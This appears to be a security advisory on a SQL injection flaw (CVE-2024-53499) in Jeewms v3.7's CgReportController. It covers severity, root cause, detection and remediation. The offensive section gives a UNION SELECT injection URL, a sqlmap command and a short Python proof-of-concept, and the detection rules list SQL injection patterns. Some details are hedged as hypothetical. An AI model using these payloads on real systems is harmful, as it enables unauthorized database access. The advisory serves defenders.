CVE-2024-53499

Executive Summary

CVE-2024-53499 is a SQL injection vulnerability discovered in Jeewms v3.7, specifically within the CgReportController API. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of SQL injection, the actual severity is critical. No public proof-of-concept (PoC) or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the lack of a patch, this vulnerability poses a significant risk to all deployments of Jeewms v3.7.

Supply Chain & Package Security

Jeewms is a Java-based warehouse management system. The vulnerability resides in the CgReportController API, which is part of the core application. As no package manager (NPM, PyPI, Go, Ruby) is involved, supply chain risks are limited to the direct deployment of the vulnerable version. Organizations should verify their Jeewms version and apply any available patches or mitigations immediately.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability type (SQL injection) and the potential impact, the actual CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is easy to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability exists in the CgReportController API endpoint of Jeewms v3.7. This controller is responsible for generating reports based on user input. The flaw is a classic SQL injection where user-supplied parameters are directly concatenated into SQL queries without proper sanitization or parameterization.

Root Cause: The application fails to use prepared statements or parameterized queries. Instead, it constructs SQL queries by directly embedding user input, allowing an attacker to break out of the intended SQL syntax and inject arbitrary commands.

Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint, typically via GET or POST parameters. The injection point is likely in parameters such as id, name, or other fields used in the report generation logic.

Impact: Successful exploitation can lead to:

• Extraction of sensitive data (user credentials, business data).
• Modification or deletion of database records.
• Potential escalation to remote code execution (RCE) if the database server has file write permissions or if the attacker can leverage xp_cmdshell (on SQL Server) or similar features.

Example Injection: A typical SQL injection payload might look like:

' OR '1'='1' --

This would bypass authentication or retrieve all records from a table.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the recommended fix.

Vulnerable Code (Hypothetical):

// Vulnerable: Direct concatenation of user input
String query = "SELECT * FROM reports WHERE id = " + request.getParameter("id");
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Recommended):

// Patched: Use parameterized query
String query = "SELECT * FROM reports WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setInt(1, Integer.parseInt(request.getParameter("id")));
ResultSet rs = pstmt.executeQuery();

The key difference is the use of PreparedStatement with parameterized queries, which ensures user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Jeewms v3.7.
• Network access to the vulnerable endpoint (e.g., http://target:8080/jeewms/cgReportController.do?method=...).

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web scanner or manual inspection to find the CgReportController API. Common parameters include id, type, or reportName.

2. Test for SQL injection: Inject a single quote (') into a parameter and observe the response for errors or unexpected behavior.

3. Extract data: Use UNION-based or blind SQL injection techniques to extract database contents. Example:

   http://target:8080/jeewms/cgReportController.do?method=generate&id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

4. Automated exploitation: Use tools like sqlmap:

   sqlmap -u "http://target:8080/jeewms/cgReportController.do?method=generate&id=1" --batch --dbs
   

Proof-of-Concept (PoC) Code:

import requests

target = "http://target:8080/jeewms/cgReportController.do"
params = {"method": "generate", "id": "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in web logs (e.g., ' OR, UNION SELECT, --).
• Use a Web Application Firewall (WAF) to block malicious requests.
• Implement database activity monitoring for anomalous queries.

Mitigation:

• Immediately upgrade to a patched version if available.
• If no patch exists, apply virtual patching via WAF rules.
• Restrict network access to the Jeewms application to trusted IPs only.
• Conduct a thorough code review and implement parameterized queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL injection patterns in parameters (e.g., id=1' OR '1'='1).
• Unusual database error messages in HTTP responses (e.g., SQL syntax error).
• Outbound database connections from the application server to unexpected IPs.

File IOCs:

• Modified or new files in the Jeewms installation directory (e.g., web shells).
• Unusual entries in application logs (e.g., ERROR: SQLException).

System IOCs:

• Unexpected database queries (e.g., SELECT * FROM sys.tables).
• High CPU or memory usage on the database server.

Detection Engineering

YARA Rule

rule CVE_2024_53499_SQLi_Jeewms {
    meta:
        description = "Detects SQL injection attempts targeting Jeewms CgReportController"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53499"
    strings:
        $s1 = "CgReportController" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "' OR" nocase
        $s5 = "1=1" nocase
    condition:
        any of ($s1) and (any of ($s2,$s3,$s4,$s5))
}

Sigma Rule

title: SQL Injection Attempt Against Jeewms CgReportController
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection patterns in HTTP requests to Jeewms CgReportController
author: Valters IT
date: 2025-04-10
references:
    - CVE-2024-53499
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "CgReportController"
            - "UNION"
            - "SELECT"
            - "' OR"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of UNION in report names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53499 SQL Injection Attempt - Jeewms CgReportController"; flow:to_server; content:"CgReportController"; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the Jeewms v3.7 instance offline or restrict network access.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting the CgReportController.
3. Monitor logs: Review web server and database logs for signs of exploitation.

Long-term Fix:

1. Upgrade: Check with the vendor for a patched version. If none exists, consider migrating to an alternative solution.
2. Code review: If you have access to the source code, implement parameterized queries for all database interactions.
3. Security hardening: Apply the principle of least privilege to the database user account used by the application.

Workaround:

• Disable the CgReportController endpoint if not essential.
• Implement input validation to reject suspicious characters (e.g., single quotes, SQL keywords).

Valters IT
Securing Your Digital Frontier